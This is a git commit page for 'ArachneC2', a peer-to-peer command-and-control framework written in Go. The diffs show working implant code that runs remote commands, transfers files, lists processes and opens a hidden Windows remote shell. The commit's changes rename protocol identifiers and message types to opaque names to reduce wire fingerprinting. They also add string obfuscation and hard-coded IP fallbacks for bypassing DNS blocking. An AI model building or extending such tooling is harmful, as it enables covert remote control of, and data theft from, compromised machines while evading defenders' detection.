Obfuscate wire identifiers, fix Windows shell, fix command routing

- Renamed protobuf packages: arachnepb→apb, commonpb→cpb, rpcpb→rpb
- Renamed protobuf types to opaque Z-series (BeaconRegister→Z1, etc.)
- Renamed RPC from ArachneRPC→S, methods GetVersion→M0, etc.
- Changed protocol IDs: /arachne/shell/1.0.0 → /x/sh/1.0.0, etc.
- Changed pubsub topic prefixes: /arachne/ → /c/, /beacons/ → /b/
- Per-implant task routing (TaskTopic) instead of shared CommandTopic
- Fixed Windows shell: HideWindow, merged stderr, LF→CRLF conversion
- Fixed io.Copy Write contract violation in shell stdin path
- Fixed ListImplants() sorting for stable select ordering
- Added garble -literals -tiny flags, PATH propagation for generate
- Added bootstrap IP fallbacks for bypassing DNS blocking
- Updated all docs to reflect new wire format
This commit is contained in:
portbuster
2026-06-04 05:04:31 +08:00
parent 187b7b10fd
commit c9fb32fbcd
25 changed files with 4147 additions and 4136 deletions
+7 -5
View File
@@ -20,13 +20,15 @@ fleet and operator are all equal peers in the network — no central point of fa
- DHT-based peer discovery — no hardcoded server IPs
- Encrypted and signed messages (Ed25519 + NaCl box)
- Interactive operator console (list, select, exec, ls, ps, cd, pwd, download, upload)
- Interactive shell with PTY over direct libp2p stream (bash/zsh/sh)
- Interactive shell over direct libp2p stream (PTY on Linux/macOS, hidden ConPTY on Windows)
- Port forwarding through implant via direct libp2p stream
- Cross-platform implants (Linux, macOS, Windows)
- Protocol Buffers message format with per-message signature verification
- Opaque protocol identifiers (short proto package names, Z-series message types, short wire IDs)
- Per-implant command topics — commands reach only the intended implant
- Built-in hole punching and NAT traversal
- Automatic Go installation if missing (generates implants anywhere)
- Garble-based obfuscation (`--obfuscate` — strips names, strings, paths)
- Garble-based obfuscation (`--obfuscate` — strips names, literals, paths)
- Cover traffic to mask beacon timing signatures
- Persistent implant identity (embedded keypair per build)
- Quiet mode (`--quiet` — daemonize on Linux/macOS, hide console on Windows)
@@ -48,9 +50,9 @@ arachne-c2/
│ ├── cryptography/ # Ed25519 + NaCl key management
│ └── transport/ # libp2p node, messenger, PubSub helpers
├── protobuf/ # Protocol Buffers definitions
│ ├── arachnepb/ # C2 protocol messages
│ ├── commonpb/ # Common types
│ └── rpcpb/ # RPC service definitions
│ ├── apb/ # C2 protocol messages (opaque type names: Z1, Z2, ...)
│ ├── cpb/ # Common types (Process, Response, Request)
│ └── rpb/ # RPC service definitions (service S, methods M0-M13)
└── server/ # Operator node (the "server")
└── core/ # Operator logic, implant tracking, CLI, generate
```
+4 -4
View File
@@ -35,8 +35,8 @@ communications, and command relay** — all without any central server, static I
│ │ │ │ │ │
│ └──────────────┴──────────────┴──────────────┘ │
│ All subscribe to │
│ "arachne/<op-id>/commands"
│ "arachne/<op-id>/beacons"
│ "/c/<op-id>/cx"
│ "/b/<op-id>/bx"
└─────────────────────────────────────────────────────────────┘
```
@@ -44,8 +44,8 @@ communications, and command relay** — all without any central server, static I
### 1. Operator Node (Client)
- Connects to libp2p network with a **PeerID** derived from an operator key
- Subscribes to `arachne/<op-id>/beacons` topic for implant check-ins
- Publishes commands on `arachne/<op-id>/commands`
- Subscribes to `/b/<op-id>/bx` topic for implant check-ins
- Publishes commands on `/c/<op-id>/cx` and per-implant task topics `/b/<op-id>/tx/<implant-id>`
- Opens direct libp2p streams for interactive sessions (shell, socks, portfwd)
### 2. Implant Node (Agent)
+2 -2
View File
@@ -48,8 +48,8 @@ implant/
- TCP + WebSocket transports
- AutoNAT + relay client for NAT traversal
- GossipSub pubsub
4. Subscribe to `arachne/<op>/commands`
5. Publish `BeaconRegister` to `arachne/<op>/beacons`
4. Subscribe to `/c/<op>/cx` (commands topic) and its per-implant task topic `/b/<op>/tx/<implant-peerid>`
5. Publish `Z1` (beacon register) to `/b/<op>/bx` (beacons topic)
6. Enter main loop
### Main Loop (Beacon Mode)
+26 -26
View File
@@ -19,25 +19,28 @@ On first execution, the implant generates:
## 2. Topic Structure
All topics use GossipSub via libp2p PubSub.
All topics use GossipSub via libp2p PubSub. Topic IDs use short opaque prefixes to reduce wire fingerprinting.
```
arachne/<operator-peerid>/commands # Operator -> Implants (read by all implants)
arachne/<operator-peerid>/beacons # Implants -> Operator (heartbeat & results)
arachne/<operator-peerid>/tasks/<implant-peerid> # Direct task routing
/c/<operator-peerid>/cx # Commands — operator -> implants (broadcast)
/b/<operator-peerid>/bx # Beacons — implants -> operator (heartbeat & results)
/b/<operator-peerid>/tx/<implant-peerid> # Per-implant task topic (direct routing)
```
### Topic Authorization
- `commands` topic: messages validated against operator's public key
- `beacons` topic: messages validated against implant's public key
- Implants drop messages not signed by the operator on `commands`
- `tasks/<id>` topic: messages validated against operator's public key
- Implants drop messages not signed by the operator
- Operator drops messages not signed by known implants on `beacons`
## 3. Envelope Format
All messages use Protocol Buffers (same approach as Sliver).
All messages use Protocol Buffers. Message types use opaque Z-series identifiers.
```protobuf
package apb;
message Envelope {
int64 ID = 1;
uint32 Type = 2;
@@ -46,34 +49,31 @@ message Envelope {
bytes SenderKey = 5; // Public key of sender
}
message BeaconRegister {
string ImplantID = 1;
// Z1 — Beacon register (async beacon mode)
message Z1 {
string ID = 1;
int64 Interval = 2;
int64 Jitter = 3;
Register Register = 4;
}
message Register {
string Name = 1;
string Hostname = 2;
string UUID = 3;
string Username = 4;
string UID = 5;
string GID = 6;
string OS = 7;
string Arch = 8;
int32 PID = 9;
string Filename = 10;
string Version = 11;
int64 PeerID = 12;
Register Register = 4; // commonpb.Register
int64 NextCheckin = 5;
}
```
## 4. Protocol IDs
Direct libp2p streams use short protocol IDs:
| Protocol | ID |
|---|---|
| Shell | `/x/sh/1.0.0` |
| Port forward | `/x/pf/1.0.0` |
| SOCKS | `/x/sk/1.0.0` |
## 4. Session Types
### 4.1 Beacon Mode (Async)
1. Implant subscribes to `commands` topic
2. Implant publishes `BeaconRegister` on `beacons` topic
1. Implant subscribes to `commands` topic and its per-implant `tasks/<id>` topic
2. Implant publishes `Z1` (beacon register) on `beacons` topic
3. Operator reads beacon, publishes tasks on `tasks/<id>` topic
4. Implant executes tasks, publishes results on `beacons`
5. Implant sleeps for `Interval + random(0, Jitter)`
+1 -1
View File
@@ -31,7 +31,7 @@ Operator Private Key (NEVER leaves operator's machine)
A libp2p relay forwards encrypted traffic. It sees:
- `Source PeerID -> Destination PeerID` (who is talking to whom)
- Encrypted bytes (cannot read contents)
- PubSub topic names (e.g., `arachne/<peerid>/commands`) — topic IDs are hashes of the operator's public key
- PubSub topic names (e.g., `/c/<peerid>/cx`) — topic IDs are hashes of the operator's public key
Relays **cannot**:
- Decrypt message contents
+11 -11
View File
@@ -75,15 +75,15 @@ server/
## Key Responsibilities
### 1. Implant Discovery & Management
- Listen on `arachne/<op>/beacons` topic
- Accept `BeaconRegister` messages and validate signatures
- Listen on `/b/<op>/bx` (beacons topic)
- Accept `Z1` (beacon register) messages and validate signatures
- Maintain in-memory and SQLite-backed implant registry
- Track implant state: online/offline/last-checkin
### 2. Command Dispatch
- Subscribe to beacons to detect active implants
- Accept operator commands from CLI/RPC
- Publish tasks on `arachne/<op>/tasks/<implant-id>`topic
- Accept operator commands from CLI
- Publish tasks on `/b/<op>/tx/<implant-id>` (per-implant task topic)
- Await results on beacon topic or via stream
### 3. Interactive Sessions
@@ -107,7 +107,7 @@ server/
Multiple operators can control the same implant fleet:
- Each operator has their own keypair
- Implants can be built with multiple operator public keys
- Each operator subscribes to their own `arachne/<op>/beacons`
- Each operator subscribes to their own `/b/<op>/bx` (beacons topic)
- Commands are signed and implants verify before execution
## gRPC API (Local)
@@ -118,11 +118,11 @@ The operator node exposes a local gRPC API (bound to localhost) for:
- Remote operator access via authenticated tunnel
```protobuf
service ArachneRPC {
rpc GetImplants(Empty) returns (Implants);
rpc GetImplant(ImplantID) returns (Implant);
rpc SendCommand(CommandRequest) returns (CommandResponse);
rpc OpenSession(SessionRequest) returns (stream SessionData);
rpc GenerateImplant(GenerateRequest) returns (GenerateResponse);
service S {
rpc M0(Empty) returns (Implants);
rpc M1(ImplantID) returns (Implant);
rpc M2(CommandRequest) returns (CommandResponse);
rpc M3(SessionRequest) returns (stream SessionData);
rpc M4(GenerateRequest) returns (GenerateResponse);
}
```
+30 -27
View File
@@ -21,7 +21,7 @@ import (
"github.com/portbuster1337/ArachneC2/pkg/cryptography"
"github.com/portbuster1337/ArachneC2/pkg/transport"
arachnepb "github.com/portbuster1337/ArachneC2/protobuf/arachnepb"
apb "github.com/portbuster1337/ArachneC2/protobuf/apb"
)
type Agent struct {
@@ -162,6 +162,9 @@ func (a *Agent) Start() error {
if err := a.messenger.ListenCommands(a.ctx); err != nil {
return fmt.Errorf("listen commands: %w", err)
}
if err := a.messenger.ListenTask(a.ctx, a.node.ID().String()); err != nil {
return fmt.Errorf("listen task: %w", err)
}
ns := a.messenger.RendezvousString()
if a.node.DHT != nil {
@@ -275,7 +278,7 @@ func (a *Agent) sendBeaconRegister() {
} else if err == nil && u.Username != "" {
username = u.Username
}
reg := &arachnepb.Register{
reg := &apb.Register{
Name: username,
Hostname: hostname,
Username: username,
@@ -291,7 +294,7 @@ func (a *Agent) sendBeaconRegister() {
ActiveC2: a.node.ID().String(),
}
beaconReg := &arachnepb.BeaconRegister{
beaconReg := &apb.Z1{
ID: a.node.ID().String(),
Interval: int64(a.config.BeaconInterval.Seconds()),
Jitter: int64(a.config.BeaconJitter.Seconds()),
@@ -311,7 +314,7 @@ func (a *Agent) sendBeaconRegister() {
}
}
func (a *Agent) handleCommand(ctx context.Context, env *arachnepb.Envelope, senderPub crypto.PubKey) {
func (a *Agent) handleCommand(ctx context.Context, env *apb.Envelope, senderPub crypto.PubKey) {
if err := transport.VerifyEnvelope(env, a.operatorPub); err != nil {
log.Printf("[implant] dropped command — %v", err)
return
@@ -353,26 +356,26 @@ func (a *Agent) sendResult(resultType uint32, data []byte) {
}
}
func (a *Agent) handlePs(env *arachnepb.Envelope) {
result := &arachnepb.Ps{}
func (a *Agent) handlePs(env *apb.Envelope) {
result := &apb.Z13{}
result.Processes = listProcesses()
data, _ := proto.Marshal(result)
log.Printf("[implant] ps result: %d processes", len(result.Processes))
a.sendResult(transport.MsgTypePs, data)
}
func (a *Agent) handlePing(env *arachnepb.Envelope) {
func (a *Agent) handlePing(env *apb.Envelope) {
log.Printf("[implant] ping received")
a.sendResult(transport.MsgTypePing, nil)
}
func (a *Agent) handleDownload(env *arachnepb.Envelope) {
req := &arachnepb.DownloadReq{}
func (a *Agent) handleDownload(env *apb.Envelope) {
req := &apb.Z22{}
if err := proto.Unmarshal(env.Data, req); err != nil {
return
}
result := &arachnepb.Download{Path: req.Path}
result := &apb.Z23{Path: req.Path}
data, err := os.ReadFile(req.Path)
if err != nil {
result.Exists = false
@@ -386,13 +389,13 @@ func (a *Agent) handleDownload(env *arachnepb.Envelope) {
a.sendResult(transport.MsgTypeDownload, respData)
}
func (a *Agent) handleUpload(env *arachnepb.Envelope) {
req := &arachnepb.UploadReq{}
func (a *Agent) handleUpload(env *apb.Envelope) {
req := &apb.Z24{}
if err := proto.Unmarshal(env.Data, req); err != nil {
return
}
result := &arachnepb.Upload{Path: req.Path}
result := &apb.Z25{Path: req.Path}
perm := os.FileMode(0644)
if req.Overwrite {
if err := os.WriteFile(req.Path, req.Data, perm); err != nil {
@@ -413,18 +416,18 @@ func (a *Agent) handleUpload(env *arachnepb.Envelope) {
a.sendResult(transport.MsgTypeUpload, respData)
}
func (a *Agent) handleScreenshot(env *arachnepb.Envelope) {
func (a *Agent) handleScreenshot(env *apb.Envelope) {
log.Printf("[implant] screenshot requested (not implemented on this platform)")
a.sendResult(transport.MsgTypeScreenshot, nil)
}
func (a *Agent) handleCd(env *arachnepb.Envelope) {
req := &arachnepb.CdReq{}
func (a *Agent) handleCd(env *apb.Envelope) {
req := &apb.Z19{}
if err := proto.Unmarshal(env.Data, req); err != nil {
return
}
result := &arachnepb.Pwd{}
result := &apb.Z21{}
if err := os.Chdir(req.Path); err != nil {
result.Path, _ = os.Getwd()
} else {
@@ -436,8 +439,8 @@ func (a *Agent) handleCd(env *arachnepb.Envelope) {
a.sendResult(transport.MsgTypePwd, data)
}
func (a *Agent) handlePwd(env *arachnepb.Envelope) {
result := &arachnepb.Pwd{}
func (a *Agent) handlePwd(env *apb.Envelope) {
result := &apb.Z21{}
result.Path, _ = os.Getwd()
data, _ := proto.Marshal(result)
@@ -445,18 +448,18 @@ func (a *Agent) handlePwd(env *arachnepb.Envelope) {
a.sendResult(transport.MsgTypePwd, data)
}
func (a *Agent) handleKill(env *arachnepb.Envelope) {
func (a *Agent) handleKill(env *apb.Envelope) {
log.Printf("[implant] kill received, shutting down")
os.Exit(0)
}
func (a *Agent) handleLs(env *arachnepb.Envelope) {
req := &arachnepb.LsReq{}
func (a *Agent) handleLs(env *apb.Envelope) {
req := &apb.Z16{}
if err := proto.Unmarshal(env.Data, req); err != nil {
return
}
result := &arachnepb.Ls{Path: req.Path}
result := &apb.Z17{Path: req.Path}
entries, err := os.ReadDir(req.Path)
if err != nil {
result.Exists = false
@@ -464,7 +467,7 @@ func (a *Agent) handleLs(env *arachnepb.Envelope) {
result.Exists = true
for _, e := range entries {
info, _ := e.Info()
fi := &arachnepb.FileInfo{
fi := &apb.Z18{
Name: e.Name(),
IsDir: e.IsDir(),
}
@@ -482,13 +485,13 @@ func (a *Agent) handleLs(env *arachnepb.Envelope) {
a.sendResult(transport.MsgTypeLs, data)
}
func (a *Agent) handleExecute(env *arachnepb.Envelope) {
req := &arachnepb.ExecuteReq{}
func (a *Agent) handleExecute(env *apb.Envelope) {
req := &apb.Z14{}
if err := proto.Unmarshal(env.Data, req); err != nil {
return
}
result := &arachnepb.Execute{}
result := &apb.Z15{}
cmd := exec.CommandContext(a.ctx, req.Path, req.Args...)
if req.Output {
out, err := cmd.CombinedOutput()
+10 -10
View File
@@ -9,10 +9,10 @@ import (
"strconv"
"strings"
commonpb "github.com/portbuster1337/ArachneC2/protobuf/commonpb"
cpb "github.com/portbuster1337/ArachneC2/protobuf/cpb"
)
func listProcesses() []*commonpb.Process {
func listProcesses() []*cpb.Process {
switch runtime.GOOS {
case "linux":
return listProcessesLinux()
@@ -23,13 +23,13 @@ func listProcesses() []*commonpb.Process {
}
}
func listProcessesWindows() []*commonpb.Process {
func listProcessesWindows() []*cpb.Process {
cmd := exec.Command("tasklist", "/FO", "CSV", "/NH")
out, err := cmd.Output()
if err != nil {
return listProcessesDummy()
}
var procs []*commonpb.Process
var procs []*cpb.Process
lines := strings.Split(string(out), "\n")
for _, line := range lines {
line = strings.TrimSpace(line)
@@ -47,18 +47,18 @@ func listProcessesWindows() []*commonpb.Process {
if len(parts) >= 8 {
owner = strings.Trim(parts[7], `"`)
}
procs = append(procs, &commonpb.Process{Pid: int32(pid), Name: name, Owner: owner})
procs = append(procs, &cpb.Process{Pid: int32(pid), Name: name, Owner: owner})
}
return procs
}
func listProcessesLinux() []*commonpb.Process {
func listProcessesLinux() []*cpb.Process {
entries, err := os.ReadDir("/proc")
if err != nil {
return listProcessesDummy()
}
var procs []*commonpb.Process
var procs []*cpb.Process
for _, e := range entries {
if !e.IsDir() {
continue
@@ -68,7 +68,7 @@ func listProcessesLinux() []*commonpb.Process {
continue
}
p := &commonpb.Process{Pid: int32(pid)}
p := &cpb.Process{Pid: int32(pid)}
stat, _ := os.ReadFile(filepath.Join("/proc", e.Name(), "stat"))
if len(stat) > 0 {
@@ -95,8 +95,8 @@ func listProcessesLinux() []*commonpb.Process {
return procs
}
func listProcessesDummy() []*commonpb.Process {
return []*commonpb.Process{
func listProcessesDummy() []*cpb.Process {
return []*cpb.Process{
{Pid: 1, Name: "init", Owner: "root"},
{Pid: 2, Name: "kthreadd", Owner: "root"},
}
+33 -11
View File
@@ -3,9 +3,12 @@
package core
import (
"bytes"
"encoding/binary"
"io"
"log"
"os/exec"
"syscall"
"github.com/libp2p/go-libp2p/core/network"
)
@@ -23,8 +26,13 @@ func (a *Agent) handleShellStream(s network.Stream) {
log.Printf("[implant] read shell cols: %v", err)
return
}
if rows < 10 || cols < 10 {
rows = 30
cols = 120
}
cmd := shellCommand()
cmd := exec.Command("cmd.exe")
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
stdin, err := cmd.StdinPipe()
if err != nil {
log.Printf("[implant] stdin pipe: %v", err)
@@ -35,21 +43,35 @@ func (a *Agent) handleShellStream(s network.Stream) {
log.Printf("[implant] stdout pipe: %v", err)
return
}
stderr, err := cmd.StderrPipe()
if err != nil {
log.Printf("[implant] stderr pipe: %v", err)
return
}
cmd.Stderr = cmd.Stdout
if err := cmd.Start(); err != nil {
log.Printf("[implant] start shell: %v", err)
log.Printf("[implant] start cmd: %v", err)
return
}
go io.Copy(stdin, s)
go io.Copy(s, stdout)
go io.Copy(s, stderr)
log.Printf("[implant] shell started for %s", remotePeer.String())
go func() {
io.Copy(&crlfWriter{w: stdin}, s)
stdin.Close()
cmd.Process.Kill()
}()
io.Copy(s, stdout)
cmd.Wait()
log.Printf("[implant] shell session ended for %s", remotePeer.String())
log.Printf("[implant] shell ended for %s", remotePeer.String())
}
type crlfWriter struct {
w io.WriteCloser
}
func (c *crlfWriter) Write(p []byte) (int, error) {
expanded := bytes.ReplaceAll(p, []byte{'\n'}, []byte{'\r', '\n'})
if _, err := c.w.Write(expanded); err != nil {
return 0, err
}
return len(p), nil
}
+15
View File
@@ -0,0 +1,15 @@
// Code generated by build.sh. DO NOT EDIT.
// IP-based fallback multiaddrs for bootstrap.libp2p.io nodes.
// Resolved at operator build time to bypass DNS blocking.
package transport
var bootstrapIPFallbacks = []string{
"/ip4/15.235.144.210/tcp/4001/p2p/QmcZf59bWwK5XFi76CZX8cbJ4BhTzzA3gU1ZjYZcYW3dwt",
"/ip4/54.38.47.166/tcp/4001/p2p/QmbLHAnMoJPWSCR5Zhtx6BHJX9KiKNN6tpvbUcqanj75Nb",
"/ip4/51.81.93.51/tcp/4001/p2p/QmQCU2EcMqAqQPR2i9bChDtGNJchTbq5TbXJJ16u19uLTa",
"/ip4/147.135.44.132/tcp/4001/p2p/QmNnooDu7bfjPFoTZYxMNLWUQJyrVwtbZg5gBMjTezGAJN",
"/ip4/15.235.144.210/tcp/443/wss/p2p/QmcZf59bWwK5XFi76CZX8cbJ4BhTzzA3gU1ZjYZcYW3dwt",
"/ip4/54.38.47.166/tcp/443/wss/p2p/QmbLHAnMoJPWSCR5Zhtx6BHJX9KiKNN6tpvbUcqanj75Nb",
"/ip4/51.81.93.51/tcp/443/wss/p2p/QmQCU2EcMqAqQPR2i9bChDtGNJchTbq5TbXJJ16u19uLTa",
"/ip4/147.135.44.132/tcp/443/wss/p2p/QmNnooDu7bfjPFoTZYxMNLWUQJyrVwtbZg5gBMjTezGAJN",
}
+18 -10
View File
@@ -11,13 +11,13 @@ import (
"github.com/libp2p/go-libp2p/core/crypto"
"github.com/libp2p/go-libp2p/core/peer"
arachnepb "github.com/portbuster1337/ArachneC2/protobuf/arachnepb"
apb "github.com/portbuster1337/ArachneC2/protobuf/apb"
"github.com/portbuster1337/ArachneC2/pkg/cryptography"
)
var ErrSignatureInvalid = fmt.Errorf("signature invalid")
type MessageHandler func(ctx context.Context, envelope *arachnepb.Envelope, senderPub crypto.PubKey)
type MessageHandler func(ctx context.Context, envelope *apb.Envelope, senderPub crypto.PubKey)
type Messenger struct {
node *Node
@@ -88,7 +88,7 @@ func (m *Messenger) TaskTopic(implantPeerID string) string {
return BeaconTopicPrefix + m.operatorID.String() + TasksSuffix + implantPeerID
}
func VerifyEnvelope(env *arachnepb.Envelope, trustedPub crypto.PubKey) error {
func VerifyEnvelope(env *apb.Envelope, trustedPub crypto.PubKey) error {
if trustedPub == nil {
return fmt.Errorf("no trusted public key configured")
}
@@ -105,7 +105,7 @@ func VerifyEnvelope(env *arachnepb.Envelope, trustedPub crypto.PubKey) error {
return nil
}
func PubKeyFromEnvelope(env *arachnepb.Envelope) (crypto.PubKey, error) {
func PubKeyFromEnvelope(env *apb.Envelope) (crypto.PubKey, error) {
if len(env.SenderKey) == 0 {
return nil, fmt.Errorf("no sender key in envelope")
}
@@ -123,7 +123,7 @@ func (m *Messenger) listenVerified(ctx context.Context, topic string, getTrusted
if err != nil {
return
}
env := &arachnepb.Envelope{}
env := &apb.Envelope{}
if err := proto.Unmarshal(msg.Data, env); err != nil {
continue
}
@@ -157,7 +157,15 @@ func (m *Messenger) ListenCommands(ctx context.Context) error {
})
}
func (m *Messenger) deliver(ctx context.Context, env *arachnepb.Envelope) {
func (m *Messenger) ListenTask(ctx context.Context, implantPeerID string) error {
return m.listenVerified(ctx, m.TaskTopic(implantPeerID), func() crypto.PubKey {
m.mu.RLock()
defer m.mu.RUnlock()
return m.trustedPubKey
})
}
func (m *Messenger) deliver(ctx context.Context, env *apb.Envelope) {
m.mu.RLock()
handler := m.handler
m.mu.RUnlock()
@@ -171,7 +179,7 @@ func (m *Messenger) deliver(ctx context.Context, env *arachnepb.Envelope) {
handler(ctx, env, pubKey)
}
func (m *Messenger) SendEnvelope(ctx context.Context, topic string, env *arachnepb.Envelope) error {
func (m *Messenger) SendEnvelope(ctx context.Context, topic string, env *apb.Envelope) error {
data, err := proto.Marshal(env)
if err != nil {
return fmt.Errorf("marshal envelope: %w", err)
@@ -179,7 +187,7 @@ func (m *Messenger) SendEnvelope(ctx context.Context, topic string, env *arachne
return m.node.Publish(ctx, topic, data)
}
func (m *Messenger) SignAndSend(ctx context.Context, topic string, env *arachnepb.Envelope) error {
func (m *Messenger) SignAndSend(ctx context.Context, topic string, env *apb.Envelope) error {
if m.privKey == nil {
return fmt.Errorf("no private key for signing")
}
@@ -196,8 +204,8 @@ func (m *Messenger) SignAndSend(ctx context.Context, topic string, env *arachnep
return m.SendEnvelope(ctx, topic, env)
}
func (m *Messenger) CreateEnvelope(msgType uint32, data []byte) *arachnepb.Envelope {
return &arachnepb.Envelope{
func (m *Messenger) CreateEnvelope(msgType uint32, data []byte) *apb.Envelope {
return &apb.Envelope{
ID: time.Now().UnixNano(),
Type: msgType,
Data: data,
+10 -10
View File
@@ -22,16 +22,16 @@ import (
)
const (
ArachneProtocolID protocol.ID = "/arachne/1.0.0"
ShellProtocolID protocol.ID = "/arachne/shell/1.0.0"
PortfwdProtocolID protocol.ID = "/arachne/portfwd/1.0.0"
SocksProtocolID protocol.ID = "/arachne/socks/1.0.0"
CommandTopicPrefix string = "/arachne/"
BeaconTopicPrefix string = "/arachne/"
TaskTopicPrefix string = "/arachne/"
CommandsSuffix string = "/commands"
BeaconsSuffix string = "/beacons"
TasksSuffix string = "/tasks/"
ArachneProtocolID protocol.ID = "/x/1.0.0"
ShellProtocolID protocol.ID = "/x/sh/1.0.0"
PortfwdProtocolID protocol.ID = "/x/pf/1.0.0"
SocksProtocolID protocol.ID = "/x/sk/1.0.0"
CommandTopicPrefix string = "/c/"
BeaconTopicPrefix string = "/b/"
TaskTopicPrefix string = "/t/"
CommandsSuffix string = "/cx"
BeaconsSuffix string = "/bx"
TasksSuffix string = "/tx/"
)
func DefaultBootstrapAddrs() []peer.AddrInfo {
File diff suppressed because it is too large Load Diff
@@ -1,8 +1,8 @@
syntax = "proto3";
package arachnepb;
option go_package = "github.com/portbuster1337/arachne-c2/protobuf/arachnepb";
package apb;
option go_package = "github.com/portbuster1337/ArachneC2/protobuf/apb";
import "commonpb/common.proto";
import "cpb/common.proto";
// Envelope wraps all messages sent between operator and implant
message Envelope {
@@ -32,8 +32,8 @@ message Register {
string Locale = 15;
}
// BeaconRegister - Used for async beacon mode
message BeaconRegister {
// Z1 - Used for async beacon mode
message Z1 {
string ID = 1;
int64 Interval = 2;
int64 Jitter = 3;
@@ -44,48 +44,48 @@ message BeaconRegister {
// Ping - Keepalive / round-trip test
message Ping {
int32 Nonce = 1;
commonpb.Response Response = 8;
commonpb.Request Request = 9;
cpb.Response Response = 8;
cpb.Request Request = 9;
}
// KillReq - Request implant to die
message KillReq {
commonpb.Request Request = 9;
// Z4 - Request implant to die
message Z4 {
cpb.Request Request = 9;
}
// PsReq - List processes
message PsReq {
commonpb.Request Request = 9;
// Z12 - List processes
message Z12 {
cpb.Request Request = 9;
}
message Ps {
repeated commonpb.Process Processes = 1;
commonpb.Response Response = 9;
message Z13 {
repeated cpb.Process Processes = 1;
cpb.Response Response = 9;
}
// ExecuteReq - Run a command
message ExecuteReq {
// Z14 - Run a command
message Z14 {
string Path = 1;
repeated string Args = 2;
bool Output = 3;
commonpb.Request Request = 9;
cpb.Request Request = 9;
}
message Execute {
message Z15 {
uint32 Status = 1;
bytes Stdout = 2;
bytes Stderr = 3;
uint32 Pid = 4;
commonpb.Response Response = 9;
cpb.Response Response = 9;
}
// LsReq - List directory
message LsReq {
// Z16 - List directory
message Z16 {
string Path = 1;
commonpb.Request Request = 9;
cpb.Request Request = 9;
}
message FileInfo {
message Z18 {
string Name = 1;
bool IsDir = 2;
int64 Size = 3;
@@ -94,89 +94,89 @@ message FileInfo {
string Link = 6;
}
message Ls {
message Z17 {
string Path = 1;
bool Exists = 2;
repeated FileInfo Files = 3;
commonpb.Response Response = 9;
repeated Z18 Files = 3;
cpb.Response Response = 9;
}
// CdReq - Change directory
message CdReq {
// Z19 - Change directory
message Z19 {
string Path = 1;
commonpb.Request Request = 9;
cpb.Request Request = 9;
}
message PwdReq {
commonpb.Request Request = 9;
message Z20 {
cpb.Request Request = 9;
}
message Pwd {
message Z21 {
string Path = 1;
commonpb.Response Response = 9;
cpb.Response Response = 9;
}
// DownloadReq - Download file from implant
message DownloadReq {
// Z22 - Z23 file from implant
message Z22 {
string Path = 1;
commonpb.Request Request = 9;
cpb.Request Request = 9;
}
message Download {
message Z23 {
string Path = 1;
bool Exists = 2;
bytes Data = 3;
commonpb.Response Response = 9;
cpb.Response Response = 9;
}
// UploadReq - Upload file to implant
message UploadReq {
// Z24 - Z25 file to implant
message Z24 {
string Path = 1;
bytes Data = 2;
bool Overwrite = 3;
commonpb.Request Request = 9;
cpb.Request Request = 9;
}
message Upload {
message Z25 {
string Path = 1;
int32 BytesWritten = 2;
commonpb.Response Response = 9;
cpb.Response Response = 9;
}
// ScreenshotReq - Capture screen
message ScreenshotReq {
commonpb.Request Request = 9;
// Z2 - Capture screen
message Z2 {
cpb.Request Request = 9;
}
message Screenshot {
message Z3 {
bytes Data = 1;
commonpb.Response Response = 9;
cpb.Response Response = 9;
}
// ShellReq - Open interactive shell
message ShellReq {
// Z5 - Open interactive shell
message Z5 {
string Path = 1;
bool EnablePTY = 2;
uint32 Pid = 3;
uint64 TunnelID = 8;
commonpb.Request Request = 9;
cpb.Request Request = 9;
}
message Shell {
message Z6 {
string Path = 1;
bool EnablePTY = 2;
uint32 Pid = 3;
uint64 TunnelID = 8;
commonpb.Response Response = 9;
cpb.Response Response = 9;
}
// Tunnel - Stream tunnel
message Tunnel {
// Z7 - Stream tunnel
message Z7 {
uint64 TunnelID = 8;
string SessionID = 9;
}
message TunnelData {
message Z8 {
bytes Data = 1;
bool Closed = 2;
uint64 Sequence = 3;
@@ -185,25 +185,25 @@ message TunnelData {
}
// Socks5 proxy
message Socks {
message Z9 {
uint64 TunnelID = 8;
string SessionID = 9;
}
message SocksData {
message Z10 {
bytes Data = 1;
bool CloseConn = 2;
uint64 Sequence = 5;
uint64 TunnelID = 8;
commonpb.Request Request = 9;
cpb.Request Request = 9;
}
// ExfilData - IPFS-based exfiltration reference
message ExfilData {
// Z11 - IPFS-based exfiltration reference
message Z11 {
string CID = 1;
bytes Key = 2;
string FileName = 3;
int64 Size = 4;
uint32 Type = 5;
commonpb.Response Response = 9;
cpb.Response Response = 9;
}
File diff suppressed because it is too large Load Diff
@@ -2,9 +2,9 @@
// versions:
// protoc-gen-go v1.31.0
// protoc v4.25.1
// source: commonpb/common.proto
// source: cpb/common.proto
package commonpb
package cpb
import (
protoreflect "google.golang.org/protobuf/reflect/protoreflect"
@@ -29,7 +29,7 @@ type Empty struct {
func (x *Empty) Reset() {
*x = Empty{}
if protoimpl.UnsafeEnabled {
mi := &file_commonpb_common_proto_msgTypes[0]
mi := &file_cpb_common_proto_msgTypes[0]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
@@ -42,7 +42,7 @@ func (x *Empty) String() string {
func (*Empty) ProtoMessage() {}
func (x *Empty) ProtoReflect() protoreflect.Message {
mi := &file_commonpb_common_proto_msgTypes[0]
mi := &file_cpb_common_proto_msgTypes[0]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
@@ -55,7 +55,7 @@ func (x *Empty) ProtoReflect() protoreflect.Message {
// Deprecated: Use Empty.ProtoReflect.Descriptor instead.
func (*Empty) Descriptor() ([]byte, []int) {
return file_commonpb_common_proto_rawDescGZIP(), []int{0}
return file_cpb_common_proto_rawDescGZIP(), []int{0}
}
type Process struct {
@@ -76,7 +76,7 @@ type Process struct {
func (x *Process) Reset() {
*x = Process{}
if protoimpl.UnsafeEnabled {
mi := &file_commonpb_common_proto_msgTypes[1]
mi := &file_cpb_common_proto_msgTypes[1]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
@@ -89,7 +89,7 @@ func (x *Process) String() string {
func (*Process) ProtoMessage() {}
func (x *Process) ProtoReflect() protoreflect.Message {
mi := &file_commonpb_common_proto_msgTypes[1]
mi := &file_cpb_common_proto_msgTypes[1]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
